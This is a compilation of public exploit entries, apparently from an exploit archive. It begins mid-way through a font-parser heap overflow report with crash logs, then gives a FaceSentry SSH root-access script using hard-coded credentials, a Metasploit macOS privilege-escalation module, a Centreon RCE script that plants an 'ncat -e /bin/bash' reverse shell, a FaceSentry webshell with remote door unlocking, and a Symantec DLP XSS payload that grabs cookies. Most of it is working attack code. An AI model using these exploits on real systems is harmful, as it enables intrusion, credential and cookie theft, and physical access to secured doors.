The proof of concept file contains a specially crafted String INDEX with the last offset set to -16397 (0xffffbff3) and the font name set to a "AAAA...AAAA" string consisting of 16384 bytes. This causes lenFontName to be equal to 16384 and lenStrings to be equal to -16384, so the whole "lenFontName + 1 + lenStrings" expression evaluates to 1. Despite this, because of the configuration of the h->string.buf dynamic array, the minimum allocation size is in fact 200. Then, a buffer overflow occurs while trying to load the 16384-byte string to the 200-byte allocation in the following line:

--- cut ---
  1745          srcRead(h, lenFontName, p);
--- cut ---

The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and an extra CFF table from another font was added to the file and corrupted in the way described above. This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.

-----=====[ Crash logs ]=====-----

A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:

--- cut ---
=================================================================
==116914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3603f88 at pc 0x0810d007 bp 0xffc4bba8 sp 0xffc4b780
WRITE of size 8184 at 0xf3603f88 thread T0
    #0 0x810d006 in __asan_memcpy (tx+0x810d006)
    #1 0x819b191 in srcRead afdko/c/public/lib/source/cffread/cffread.c:481:9
    #2 0x817df46 in readStrings afdko/c/public/lib/source/cffread/cffread.c:1745:9
    #3 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13
    #4 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #5 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
    #6 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #7 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #8 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #9 0xf7b41275 in __libc_start_main
    #10 0x806a590 in _start

0xf3603f88 is located 0 bytes to the right of 200-byte region [0xf3603ec0,0xf3603f88)
allocated by thread T0 here:
    #0 0x810ddc5 in __interceptor_malloc (tx+0x810ddc5)
    #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x8199bfa in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
    #3 0x84689ec in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
    #4 0x846919d in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
    #5 0x817dd0d in readStrings afdko/c/public/lib/source/cffread/cffread.c:1738:5
    #6 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13
    #7 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #8 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
    #9 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #10 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #11 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #12 0xf7b41275 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow (tx+0x810d006) in __asan_memcpy
Shadow bytes around the buggy address:
  0x3e6c07a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c07b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c07c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c07d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x3e6c07e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3e6c07f0: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c0800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c0810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c0820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c0830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e6c0840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==116914==ABORTING
--- cut ---

A non-instrumented version of "tx" crashes with a SIGSEGV while trying to copy the font name into invalid memory:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/10i $eip
=> 0xf7eb50c0:  movdqu %xmm1,-0x10(%edx,%ecx,1)
   0xf7eb50c6:  jbe    0xf7eb537e
   0xf7eb50cc:  movdqu 0x10(%eax),%xmm0
   0xf7eb50d1:  movdqu -0x20(%eax,%ecx,1),%xmm1
   0xf7eb50d7:  cmp    $0x40,%ecx
   0xf7eb50da:  movdqu %xmm0,0x10(%edx)
   0xf7eb50df:  movdqu %xmm1,-0x20(%edx,%ecx,1)
   0xf7eb50e5:  jbe    0xf7eb537e
   0xf7eb50eb:  movdqu 0x20(%eax),%xmm0
   0xf7eb50f0:  movdqu 0x30(%eax),%xmm1

(gdb) p/x $xmm1
$1 = {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141,
    0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141},
  uint128 = 0x41414141414141414141414141414141}

(gdb) info reg $edx
edx            0x813ea78        135522936
(gdb) info reg $ecx
ecx            0x1ff8   8184
(gdb) x/10gx $edx+$ecx
0x8140a70:      Cannot access memory at address 0x8140a70

(gdb) bt
#0  0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x0805bb9c in srcRead (h=0x8131200, count=16384, ptr=0x813ea78 'A' <repeats 16 times>) at ../../../../../source/cffread/cffread.c:481
#2  0x080557e3 in readStrings (h=0x8131200) at ../../../../../source/cffread/cffread.c:1745
#3  0x080548ae in cfrBegFont (h=0x8131200, flags=4, origin=0, ttcIndex=0, top=0x8118024, UDV=0x0) at ../../../../../source/cffread/cffread.c:2717
#4  0x0804d491 in cfrReadFont (h=0x8118008, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#5  0x0804d309 in doFile (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:429
#6  0x0804c9b6 in doSingleFileSet (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:488
#7  0x0804a82a in parseArgs (h=0x8118008, argc=3, argv=0xffffcd58) at ../../../../source/tx.c:558
#8  0x08049665 in main (argc=3, argv=0xffffcd58) at ../../../../source/tx.c:1631
--- cut ---

In case of the Microsoft Edge renderer, it doesn't immediately crash during the buffer overflow, because there is enough mapped heap memory after the overflow allocation to consume the 16kB string. As a result of the memory corruption, however, an exception is generated a little later in the code while trying to access an invalid pointer overwritten with 0x4141...41:

--- cut ---
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!fillSet+0x37:
00007ffb`29e701a3 39bc2e58020000  cmp     dword ptr [rsi+rbp+258h],edi ds:41414141`41414399=????????

0:038> u @$scopeip-4
DWrite!fillSet+0x33:
00007ffb`29e7019f 488b6b10        mov     rbp,qword ptr [rbx+10h]
00007ffb`29e701a3 39bc2e58020000  cmp     dword ptr [rsi+rbp+258h],edi
00007ffb`29e701aa 7e21            jle     DWrite!fillSet+0x61 (00007ffb`29e701cd)
00007ffb`29e701ac 4c8b8c2e50020000 mov     r9,qword ptr [rsi+rbp+250h]
00007ffb`29e701b4 4c8d4508        lea     r8,[rbp+8]
00007ffb`29e701b8 488d95f8010000  lea     rdx,[rbp+1F8h]
00007ffb`29e701bf 4c03c6          add     r8,rsi
00007ffb`29e701c2 4803d6          add     rdx,rsi

0:038> db rbx
00000131`256e9ca0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9cb0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9cc0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9cd0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9ce0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9cf0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9d00  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000131`256e9d10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0:038> k
 # Child-SP          RetAddr           Call Site
00 00000008`c4d5b550 00007ffb`29e7219d DWrite!fillSet+0x37
01 00000008`c4d5b5c0 00007ffb`29e62314 DWrite!cfwEndSet+0x51
02 00000008`c4d5b600 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c
03 00000008`c4d5bb00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
04 00000008`c4d5bce0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
05 00000008`c4d5bf00 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
06 00000008`c4d5c260 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
07 00000008`c4d5c2f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
08 00000008`c4d5c410 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
09 00000008`c4d5c460 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
0a 00000008`c4d5c4b0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0b 00000008`c4d5c4e0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0c 00000008`c4d5c510 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0d 00000008`c4d5c550 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47098.zip
            
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit
#
#
# Vendor: iWT Ltd.
# Product web page: http://www.iwt.com.hk
# Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
#                   Firmware 5.7.2 build 568 (Algorithm A14)
#                   Firmware 5.7.0 build 539 (Algorithm A14)
#
# Summary: FaceSentry 5AN is a revolutionary smart identity
# management appliance that offers entry via biometric face
# identification, contactless smart card, staff ID, or QR-code.
# The QR-code upgrade allows you to share an eKey with guests
# while you're away from your Office and monitor all activity
# via the web administration tool. Powered by standard PoE
# (Power over Ethernet), FaceSEntry 5AN can be installed in
# minutes with only 6 screws. FaceSentry 5AN is a true enterprise
# grade access control or time-and-attendance appliance.
#
# Desc: FaceSentry facial biometric access control appliance
# ships with hard-coded and weak credentials for SSH access
# on port 23445 using the credentials wwwuser:123456. The root
# privilege escalation is done by abusing the insecure sudoers
# entry file.
#
# ================================================================
# lqwrm@metalgear:~$ python ssh_root.py 192.168.11.1
# [+] Connecting to 192.168.11.1 on port 23445: Done
# [*] wwwuser@192.168.11.1:
#     Distro    Ubuntu 16.04
#     OS:       linux
#     Arch:     Unknown
#     Version:  4.10.0
#     ASLR:     Enabled
#     Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
# [+] Opening new channel: 'shell': Done
# [*] Switching to interactive mode
# wwwuser@TWR01:~$ pwd
# /home/wwwuser
# wwwuser@TWR01:~$ sudo -l 
# Matching Defaults entries for wwwuser on localhost:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
#
# User wwwuser may run the following commands on localhost:
#     (root) NOPASSWD: /sbin/service, PROCESSES, NETWORKING, REBOOT, IPTABLES, /faceGuard/bin/*, /faceGuard/database/Restore*, /bin/date, /bin/cat, /bin/echo, /faceGuard/bin/phpbin/*, /bin/sed, /sbin/*, /usr/sbin/*, /bin/*, /usr/bin/*
# wwwuser@TWR01:~$ sudo cat /etc/sudoers.d/sudoers.sentry
# Cmnd_Alias SENTRY = /faceGuard/bin/*
# Cmnd_Alias SENTRY_DB_RESTORE = /faceGuard/database/Restore*
# Cmnd_Alias DATE = /bin/date
# Cmnd_Alias CAT = /bin/cat
# Cmnd_Alias ECHO = /bin/echo
# Cmnd_Alias PRINTING = /usr/sbin/lpc, /usr/bin/lprm
# Cmnd_Alias SENTRYWEB = /faceGuard/bin/phpbin/*
# Cmnd_Alias SED = /bin/sed
# Cmnd_Alias SERVICES = /sbin/service
# Cmnd_Alias SBIN = /sbin/*, /usr/sbin/*
# Cmnd_Alias BIN = /bin/*, /usr/bin/*
#
# wwwuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN
# iwtuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN
# wwwuser@TWR01:~$ id
# uid=1001(wwwuser) gid=1001(wwwuser) groups=1001(wwwuser),27(sudo)
# wwwuser@TWR01:~$ sudo su
# root@TWR01:/home/wwwuser# id
# uid=0(root) gid=0(root) groups=0(root)
# root@TWR01:/home/wwwuser# exit
# exit
# wwwuser@TWR01:~$ exit
# logout
# [*] Got EOF while reading in interactive
# [*] Closed SSH channel with 192.168.11.1
# lqwrm@metalgear:~$
# ================================================================
#
# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
#            Linux 3.4.113-sun8i (armv7l)
#            PHP/7.0.30-0ubuntu0.16.04.1
#            PHP/7.0.22-0ubuntu0.16.04.1
#            lighttpd/1.4.35
#            Armbian 5.38
#            Sunxi Linux (sun8i generation)
#            Orange Pi PC +
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5526
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5526.php
#
#
# 28.05.2019
#

from pwn import *

if len(sys.argv) < 2:
    print 'Usage: ./fs.py <ip>\n'
    sys.exit()

ip = sys.argv[1]
rshell = ssh('wwwuser', ip, password='123456', port=23445)
rshell.interactive()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
      'Description'   => %q{
          This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
        order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
        from a command injection vulnerability that can be exploited by creating a
        specially crafted disk label.

          The tmdiagnose binary uses awk to list every mounted volume, and composes
        shell commands based on the volume labels. By creating a volume label with the
        backtick character, we can have our own binary executed with root priviledges.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'CodeColorist', # Discovery and exploit
          'timwr',        # Metasploit module
      ],
      'References'     => [
          ['CVE', '2019-8513'],
          ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
          ['URL', 'https://support.apple.com/en-in/HT209600'],
          ['URL', 'https://github.com/ChiChou/sploits'],
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload',                { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload',               { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
      ],
      'DisclosureDate' => 'Apr 13 2019'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.14.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
    if target['Arch'] == ARCH_X64
      root_cmd = payload.encoded
    else
      root_cmd = payload.raw
      if target['Arch'] == ARCH_PYTHON
        root_cmd = "echo \"#{root_cmd}\" | python"
      end
      root_cmd = "CMD:#{root_cmd}"
    end
    if root_cmd.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
    end

    placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
    exploit_data[placeholder_index, root_cmd.length] = root_cmd

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec(exploit_file)
    print_status("Exploit result:\n#{result}")
  end
end
            
#!/usr/bin/python

'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")

login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,


    }

    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)

else:
    print("[-] Wrong credentials")
    exit()
            
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# FaceSentry Access Control System 6.4.8 Remote Root Exploit
#
#
# Vendor: iWT Ltd.
# Product web page: http://www.iwt.com.hk
# Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
#                   Firmware 5.7.2 build 568 (Algorithm A14)
#                   Firmware 5.7.0 build 539 (Algorithm A14)
#
# Summary: FaceSentry 5AN is a revolutionary smart identity
# management appliance that offers entry via biometric face
# identification, contactless smart card, staff ID, or QR-code.
# The QR-code upgrade allows you to share an eKey with guests
# while you're away from your Office and monitor all activity
# via the web administration tool. Powered by standard PoE
# (Power over Ethernet), FaceSEntry 5AN can be installed in
# minutes with only 6 screws. FaceSentry 5AN is a true enterprise
# grade access control or time-and-attendance appliance.
#
# Desc: FaceSentry suffers from an authenticated OS command
# injection vulnerability using default credentials. This can
# be exploited to inject and execute arbitrary shell commands
# as the root user via the 'strInIP' POST parameter in pingTest
# PHP script.
#
# ==============================================================
# /pingTest.php:
# --------------
# 8:  if (!isAuth('TestTools','R')){
# 9:      echo "No Permission";
# 10:     include("footer.php");
# 11:     exit;
# 12:  }
# 13:
# 14: if(isset($_POST["strInIP"])){
# 15:     $strInIP = $_POST["strInIP"];
# 16: }else{
# 17:     $strInIP = "";
# 18: }
# 19:
# 20: $strOperationResult = "";
# 21: if ($strInIP != ""){
# 22:
# 23:    $out = array(); 
# 24:    exec("sudo ping -c 4 $strInIP",$out);
# 25:    $result = "";    
# 26:    foreach($out as $line){
# 27:        $result = $result.$line."<br>";        
# 28:    }
# ==============================================================
#
# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
#            Linux 3.4.113-sun8i (armv7l)
#            PHP/7.0.30-0ubuntu0.16.04.1
#            PHP/7.0.22-0ubuntu0.16.04.1
#            lighttpd/1.4.35
#            Armbian 5.38
#            Sunxi Linux (sun8i generation)
#            Orange Pi PC +
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5525
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5525.php
#
#
# 28.05.2019
#

import datetime########INITIALIZE
import urllib2#########BIOMETRICS
import urllib##########FACIAL.REC
import time############OGNITION.S
import sys##(.)###(.)##YSTEM.DOOR
import re#######O######UNLOCKED.A
import os#######_######CCESS.GRAN
import io######(_)#####TED.0B1000
import py##############1.11111011

from cookielib import CookieJar

global pajton
pajton = os.path.basename(sys.argv[0])

def usage():
    if len(sys.argv) < 2:
        print '[+] Usage: ./' + pajton + ' <ip>\n'
        sys.exit()

def auth():
    brojac = 0
    usernames = [ 'admin', 'user', 'administrator' ] # case sensitive
    passwords = [ '123', '123', '123456' ]
    while brojac < 3:
        podatoci = { 'strInLogin'    : usernames[brojac],
                     'strInPassword' : passwords[brojac],
                     'saveLogin'     : '1',
                     'saveFor'       : '168' } # 7 days
        print '[+] Trying creds ' + usernames[brojac] + ':' + passwords[brojac]
        nesto_encode = urllib.urlencode(podatoci)
        ajde.open('http://' + target + '/login.php', nesto_encode)
        check = ajde.open('http://' + target + '/sentryInfo.php')
        dool = re.search(r'Hardware Key', check.read())
        if dool:
            print '[+] That worked!'
            break
        else:
            brojac += 1
            if brojac == 3:
                print '[!] Ah ah ah. You didn\'t say the magic word!'
                sys.exit()

def door():
    unlock = raw_input('[*] Unlock door No.: ') # default door number = 0
    try:
        br = int(unlock)
        panel = { 'strInAction'           : 'openDoor',
                  'strInPanelNo'          : br,
                  'strInRestartAction'    : '',
                  'strPanelIDRestart'     : '',
                  'strPanelRestartAction' : '' }
        nesto_encode = urllib.urlencode(panel)
        ajde.open('http://' + target + '/openDoor.php', nesto_encode)
        print '[+] Door ' + unlock + ' is unlocked!'
    except ValueError:
        print '[!] Only values from 0 to 8 are valid.'
        door()

def main():
    if os.name == 'posix':
        os.system('clear')
    if os.name == 'nt':
        os.system('cls')

    vremetodeneska = datetime.datetime.now()
    kd = vremetodeneska.strftime('%d.%m.%Y %H:%M:%S')
    print 'Starting exploit at ' + kd

    print '''
──────────────────────────────────
──FaceSentry Access Control System
────────Remote Root Exploit
─────────Zero Science Lab
────────www.zeroscience.mk
───────────ZSL-2019-5525
─────────────▄▄▄▄▄▄▄▄▄
─────────────▌▐░▀░▀░▀▐
─────────────▌░▌░░░░░▐
─────────────▌░░░░░░░▐
─────────────▄▄▄▄▄▄▄▄▄
───────▄▀▀▀▀▀▌▄█▄░▄█▄▐▀▀▀▀▀▄
──────█▒▒▒▒▒▐░░░░▄░░░░▌▒▒▒▒▒█
─────▐▒▒▒▒▒▒▒▌░░░░░░░▐▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▒█░▀▀▀▀▀░█▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▒▒█▄▄▄▄▄█▒▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▌
─────▐▒▒▒▒▒█▒▒▒▒▒▒▒▒▒▒▒█▒▒▒▒▒▌
─────▐▒▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▌▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▌▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▌▄▄▄▄▄▄▄▄▄▐▒▒▒▒▒▒▌
─────▐▄▄▄▄▄▄▌▌███████▌▐▄▄▄▄▄▄▌
──────█▀▀▀▀█─▌███▌███▌─█▀▀▀▀█
──────▐░░░░▌─▌███▌███▌─▐░░░░▌
───────▀▀▀▀──▌███▌███▌──▀▀▀▀
─────────────▌███▌███▌
─────────────▌███▌███▌
───────────▐▀▀▀██▌█▀▀▀▌
▒▒▒▒▒▒▒▒▒▒▒▐▄▄▄▄▄▄▄▄▄▄▌▒▒▒▒▒▒▒▒▒▒▒
    '''

    usage()
    tegla = CookieJar()
    global ajde, target
    target = sys.argv[1]
    ajde = urllib2.build_opener(urllib2.HTTPCookieProcessor(tegla))
    auth()
    raw_input('\n[*] Press [ENTER] to land... ')

    print '[+] Entering interactive (web)shell...'
    time.sleep(1)
    print

    while True:
        try:
            cmd = raw_input('root@facesentry:~# ')
            if 'exit' in cmd.strip():
                print '[+] Take care now, bye bye then!'
                break
            if 'door' in cmd.strip():
                door()
                continue
            podatoci = { 'strInIP' : ';sudo ' + cmd } # |cmd
            nesto_encode = urllib.urlencode(podatoci)
            r_izraz = ajde.open('http://' + target + '/pingTest.php?', nesto_encode)
            pattern = re.search(cmd+'\)<[^>]*>(.*?)</font>', r_izraz.read())
            x = pattern.groups()[0].strip()
            y = x.replace('<br>', '\n')
            print y.strip()
        except Exception as i:
            print '[-] Error: ' + i.message
            pass
        except KeyboardInterrupt as k:
            print '\n[+] Interrupter!'
            sys.exit()

    sys.exit()

if __name__ == "__main__":
    main()
            
# Exploit Title: Persistent XSS on Symantec DLP <= 15.5 MP1
# Date: 2019-06-21
# Exploit Author: Chapman Schleiss
# Vendor Homepage: https://www.symantec.com/
# Software Link: https://support.symantec.com/us/en/mysymantec.html
# Version: <= 15.5 MP1
# CVE : 2019-9701
# Advisory-URL: https://support.symantec.com/us/en/article.SYMSA1484.html
# Hot Fix: https://support.symantec.com/us/en/article.ALERT2664.html

Description
---------------
Persistent XSS via 'name' param at
/ProtectManager/enforce/admin/senderrecipientpatterns/list


Payload: ' oNmouseover=prompt(document.domain,document.cookie) )
Browser: Firefox 64, IE 11
Date Observed: 15 January 2019


Reproduction POST
-----------------
POST
/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/update
HTTP/1.1
Host: [snip].com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
